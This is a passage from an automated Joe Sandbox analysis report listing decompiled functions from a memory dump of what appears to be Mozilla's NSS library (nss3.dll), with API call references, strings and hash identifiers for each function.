SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?), ref: 6C7BE89E

Part of subcall function 6C80FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C808D2D,?,00000000,?), ref: 6C80FB85
Part of subcall function 6C80FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C80FBB1

CERT_DestroyCertificate.NSS3(?), ref: 6C7BE885

Part of subcall function 6C7B95B0: TlsGetValue.KERNEL32(00000000,?,6C7D00D2,00000000), ref: 6C7B95D2
Part of subcall function 6C7B95B0: EnterCriticalSection.KERNEL32(?,?,?,6C7D00D2,00000000), ref: 6C7B95E7
Part of subcall function 6C7B95B0: PR_Unlock.NSS3(?,?,?,?,6C7D00D2,00000000), ref: 6C7B9605

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$ArenaItem_$Value$CopyCriticalEnterSectionUnlock$Alloc_CertificateDestroyErrorFindMark_$AlgorithmAllocAllocateCertHashIssuerK11_Tag_Zfreememcpymemset
String ID:
API String ID: 27740541-0
Opcode ID: 06003fff78731626fabd320b338135ec5c3a3a91710623705aeaf4db6670ad04
Instruction ID: 0d124b8c90af31d9466d2f8a491c4ffaaa57d331da509bf3e1f5d8d643d0aa1f
Opcode Fuzzy Hash: 06003fff78731626fabd320b338135ec5c3a3a91710623705aeaf4db6670ad04
Instruction Fuzzy Hash: EF619EB5D006099BEB08DF65CE41AFEB7B8EF19304F004269E9157A741FB359A45CBE0

Function 6C7A6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C7A6ED8
sqlite3_value_text.NSS3(?,?), ref: 6C7A6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C7A6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C7A6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C7A6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C7A7010
sqlite3_value_blob.NSS3(?,?), ref: 6C7A701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C7A7052

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 4b9b129388ebf032dece7deb3b7fc7c5ec7dae0a1d4953a3ceed9b5aa0891fc3
Instruction ID: 0e2a95f2080516be9c19d7241bf5580891ed324ea2119169afb35b16c65caa0f
Opcode Fuzzy Hash: 4b9b129388ebf032dece7deb3b7fc7c5ec7dae0a1d4953a3ceed9b5aa0891fc3
Instruction Fuzzy Hash: FC61C1B1E152058BDB00CBE9CA447EFB7B2AF89308F284274D415AB755E7359E07CBA1

Function 6C818F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C817313), ref: 6C818FBB

Part of subcall function 6C8107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C7B8298,?,?,?,6C7AFCE5,?), ref: 6C8107BF
Part of subcall function 6C8107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C8107E6
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C81081B
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C810825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C817313), ref: 6C819012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C817313), ref: 6C81903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C817313), ref: 6C81909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C817313), ref: 6C8190DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C817313), ref: 6C8190F1

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C817313), ref: 6C81906B

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C817313), ref: 6C819128

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 0d3e641e8c0f13be4fb66b0ccad4ad239734e60b808c941d9a99752d0a750636
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 1B51B371A082038FEB20CF6ADE44B26B3F5AF44328F154869D919D7F51E735E844CB91

Function 6C81C6E0 Relevance: 12.1, APIs: 8, Instructions: 149COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,?,?,?,6C8171CF,?), ref: 6C81C70F

Part of subcall function 6C8107B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C7B8298,?,?,?,6C7AFCE5,?), ref: 6C8107BF
Part of subcall function 6C8107B0: PL_HashTableLookup.NSS3(?,?), ref: 6C8107E6
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C81081B
Part of subcall function 6C8107B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C810825

CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C8171CF,?), ref: 6C81C7B1

Part of subcall function 6C7B95B0: TlsGetValue.KERNEL32(00000000,?,6C7D00D2,00000000), ref: 6C7B95D2
Part of subcall function 6C7B95B0: EnterCriticalSection.KERNEL32(?,?,?,6C7D00D2,00000000), ref: 6C7B95E7
Part of subcall function 6C7B95B0: PR_Unlock.NSS3(?,?,?,?,6C7D00D2,00000000), ref: 6C7B9605

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6C8171CF,?), ref: 6C81C7D5
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C8171CF,?), ref: 6C81C811
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C8171CF,?), ref: 6C81C841
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C81C855
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6C8171CF,?), ref: 6C81C868

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena_CertificateDestroyFree$ErrorHashLookupTable$ConstCriticalEnterFindSectionUnlockValue
String ID:
API String ID: 1768726504-0
Opcode ID: b717ac2d23175f8b365bee14dfbfb6b9567119166672c53d3fdc93a2afcdb2a4
Instruction ID: dcdaca85c04758b3fc7ca5a57f4553fae0150dfe82e118f854af9ec4e228e898
Opcode Fuzzy Hash: b717ac2d23175f8b365bee14dfbfb6b9567119166672c53d3fdc93a2afcdb2a4
Instruction Fuzzy Hash: 23417F71A092238BE720AF19DAC0B5677E9AF16758B250D38DC29DBF53E760F810C691

Function 6C802470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C802D7C,6C7D9192,?), ref: 6C80248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6C8024A2
memset.VCRUNTIME140(6C802D7C,00000020,6C802D5C), ref: 6C80250E
memset.VCRUNTIME140(6C802D9C,00000020,6C802D7C), ref: 6C802535
memset.VCRUNTIME140(?,00000020,?), ref: 6C80255C
memset.VCRUNTIME140(?,00000020,?), ref: 6C802583
PR_Unlock.NSS3(?), ref: 6C802594
PR_SetError.NSS3(00000000,00000000), ref: 6C8025AF

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: aa3ae6f39d7e3327c7cbc03421380f65733bc92db321aad87d9fad37a290fee2
Instruction ID: 690190ad487e1f730c273dccac81cbc627b39d273018ad7f50ad62bec104b7ab
Opcode Fuzzy Hash: aa3ae6f39d7e3327c7cbc03421380f65733bc92db321aad87d9fad37a290fee2
Instruction Fuzzy Hash: 5241E2B1F002059FEB219F34CE997AA3774BB59308F240E69DC05D7A52F7B8E684C691

Function 6C8005A0 Relevance: 12.1, APIs: 8, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000), ref: 6C8005DA

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

TlsGetValue.KERNEL32(00000000), ref: 6C80060C
EnterCriticalSection.KERNEL32 ref: 6C800629
TlsGetValue.KERNEL32(00000000), ref: 6C80066F
EnterCriticalSection.KERNEL32 ref: 6C80068C
PR_Unlock.NSS3 ref: 6C8006AA
PK11_GetNextSafe.NSS3 ref: 6C8006C3
PR_Unlock.NSS3 ref: 6C8006F9

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$Alloc_K11_NextSafeUtilmalloc
String ID:
API String ID: 1593870348-0
Opcode ID: 3f437f338066d364747ade945fa88a3442a1433a63b714d7f66b7c15359b31b0
Instruction ID: 9b8eb3d47dbfb78b0cf7ff484d102e34553d18542eb8240b5ecc597cdf232719
Opcode Fuzzy Hash: 3f437f338066d364747ade945fa88a3442a1433a63b714d7f66b7c15359b31b0
Instruction Fuzzy Hash: B4513CB4A05746CFDB10DF68CA8466ABBF1FF45304F10892DD8699B701EB71D984CB91

Function 6C8CA6F0 Relevance: 12.1, APIs: 8, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C879890: TlsGetValue.KERNEL32(?,?,?,6C8797EB), ref: 6C87989E

EnterCriticalSection.KERNEL32(?), ref: 6C8CA712
_PR_MD_UNLOCK.NSS3(?), ref: 6C8CA76D

Part of subcall function 6C8770F0: LeaveCriticalSection.KERNEL32(6C8C0C7B), ref: 6C87710D

calloc.MOZGLUE(00000001,0000000C), ref: 6C8CA779
_PR_CreateThread.NSS3(00000000,6C8C9EA0,?,00000001,00000001,00000000,?,00000000), ref: 6C8CA79B
free.MOZGLUE(00000000), ref: 6C8CA7AB
EnterCriticalSection.KERNEL32(?), ref: 6C8CA7C5
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C8CA7FC
_PR_MD_UNLOCK.NSS3(?), ref: 6C8CA824

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSection$Enter$CreateLeaveThreadValuecallocfree
String ID:
API String ID: 3459369588-0
Opcode ID: b4f83542de140134ff51a0373ad5c2210e3a84a7dcc18e5213caf61bdc5d0686
Instruction ID: 57cbc32a7a889fc7b91ef165ef0b580e3e2e7c8e17fecc6a9c4f4d7456fbd255
Opcode Fuzzy Hash: b4f83542de140134ff51a0373ad5c2210e3a84a7dcc18e5213caf61bdc5d0686
Instruction Fuzzy Hash: 14414DB5A006019FC720DF29C9849ABB7F4FF55318B148A2DD859C7B11F731E855CBA1

Function 6C7F66B0 Relevance: 12.1, APIs: 8, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000010,00000000), ref: 6C7F66D0
realloc.MOZGLUE(?,?,?,?,?,00000010,00000000), ref: 6C7F66FB

Part of subcall function 6C814540: PORT_ZAlloc_Util.NSS3(00000001,?,-00000001,-00000001,?,6C7F6725,?,00000022,?,?,?,?,?,00000010,00000000), ref: 6C814581

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C7F673A
memcpy.VCRUNTIME140(00000001,00000000,-00000001,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C7F6757
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000010,00000000), ref: 6C7F676E
memcpy.VCRUNTIME140(6C7EC79F,?,?,?,?,?,00000010,00000000), ref: 6C7F6781
memcpy.VCRUNTIME140(00000001,?,-00000001,?,?,?,?,?,?,00000010,00000000), ref: 6C7F679D
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,00000010,00000000), ref: 6C7F67BC

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memcpy$Alloc_ErrorUtilfreereallocstrlen
String ID:
API String ID: 922128022-0
Opcode ID: d0664aef980f70aa0a46dbebc951ccf68f7781258b54747fd78a0419d3e2694c
Instruction ID: 068d2a6bf014c07c3d3302da9c3de67f1fbfaac75a3bc8706dbec8ba309e85d7
Opcode Fuzzy Hash: d0664aef980f70aa0a46dbebc951ccf68f7781258b54747fd78a0419d3e2694c
Instruction Fuzzy Hash: 9E31BA729012099FDB21CFA8DD459AF77B4EF95318B140439E85497340E731AA19C7A2

Function 6C7A65D0 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 261COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C7A670B
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C7A2B2C), ref: 6C7A675E
EnterCriticalSection.KERNEL32(?), ref: 6C7A678E
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C7A2B2C), ref: 6C7A67E1

Strings

winClose, xrefs: 6C7A68C5
winUnmapfile1, xrefs: 6C7A6964
winUnmapfile2, xrefs: 6C7A698B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: winClose$winUnmapfile1$winUnmapfile2
API String ID: 3168844106-373099266
Opcode ID: 553cb93af553a6eed5031ba271de522bbf2734ff3e4ab43b442b2abc97cf3f30
Instruction ID: d10f4a27cd9f6fc3701d04ef3ff2123bf57e7298cab8176fa215b3d6ef2d047c
Opcode Fuzzy Hash: 553cb93af553a6eed5031ba271de522bbf2734ff3e4ab43b442b2abc97cf3f30
Instruction Fuzzy Hash: 7BA1A775B09210CFDF08DFA9DA8A6293775BF0B715B24017CE906C7A50DB349A42CF92

Function 6C734F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C734FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C7351BB

Strings

%s at line %d of [%.10s], xrefs: 6C7351B4
misuse, xrefs: 6C7351AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C7351A5
unable to delete/modify user-function due to active statements, xrefs: 6C7351DF

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: b81b959d4b593715efdd59044ab422a525864f6474aa00f63889127d7ac86f4b
Instruction ID: 6b7a1ab0c409e14ebcd2e889b0d664f3967ad3eabd8863e74d617c00ece63cf4
Opcode Fuzzy Hash: b81b959d4b593715efdd59044ab422a525864f6474aa00f63889127d7ac86f4b
Instruction Fuzzy Hash: ED71BFB160421A9FDB00CE25EE80B9A77B5BF48348F085534FD1D9BB96D336E950CBA1

Function 6C74A630 Relevance: 10.7, APIs: 7, Instructions: 192COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,6C911308,?,?,6C746ABD,00000000), ref: 6C74A6B7
LeaveCriticalSection.KERNEL32(?), ref: 6C74A70A
EnterCriticalSection.KERNEL32(?,00000000,6C911308,?,?,6C746ABD,00000000), ref: 6C74A73A
LeaveCriticalSection.KERNEL32(?), ref: 6C74A78D
EnterCriticalSection.KERNEL32(?,00000000,6C911308,?,?,6C746ABD,00000000), ref: 6C74A7CA
LeaveCriticalSection.KERNEL32(?), ref: 6C74A821
sqlite3_free.NSS3(?,00000000,6C911308,?,?,6C746ABD,00000000), ref: 6C74A8A6

Part of subcall function 6C739EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C74C6FD,?,?,?,?,6C79F965,00000000), ref: 6C739F0E
Part of subcall function 6C739EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C79F965,00000000), ref: 6C739F5D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalSection$EnterLeave$sqlite3_free
String ID:
API String ID: 1407842778-0
Opcode ID: 24256361110f378ceec8a2732c66b6235aab6d6f5aea8d53055b6b5f9335e792
Instruction ID: a097f0f01c73ae4b5181195c78d2e6c7e84e3e7e7a6bf4eee9b2099e1b605914
Opcode Fuzzy Hash: 24256361110f378ceec8a2732c66b6235aab6d6f5aea8d53055b6b5f9335e792
Instruction Fuzzy Hash: E76170B5B09200DFEB09DF25DA8AA667375FB47324B24453DD44647E40CB39E842CB92

Function 6C7B8620 Relevance: 10.6, APIs: 7, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

SECITEM_CopyItem_Util.NSS3(00000000,00000000,6C7B7310,00000000,6C7B7310,?,?,00000004,?), ref: 6C7B8684

Part of subcall function 6C80FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C808D2D,?,00000000,?), ref: 6C80FB85
Part of subcall function 6C80FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C80FBB1

SECITEM_CopyItem_Util.NSS3(00000000,-0000000C,6C7B7304,?,?,?,00000000,6C7B7310,?,?,00000004,?), ref: 6C7B869F
PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,?,?,?,?,?,00000000,6C7B7310,?,?,00000004,?), ref: 6C7B86D7
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,6C7B7310,?,?,00000004,?), ref: 6C7B8706
PORT_ArenaAlloc_Util.NSS3(00000000,00000018,00000000,6C7B7310,00000004,00000000,?,6C7B8A20,00000004,00000000,6C7B7310,?,?,00000004,?), ref: 6C7B8656

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000008,00000000,6C7B7310,00000004,00000000,?,6C7B8A20,00000004,00000000,6C7B7310,?,?,00000004,?), ref: 6C7B8763
PORT_ArenaGrow_Util.NSS3(00000000,6C7B8A20,?,?,00000000,6C7B7310,00000004,00000000,?,6C7B8A20,00000004,00000000,6C7B7310,?,?,00000004), ref: 6C7B8795

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
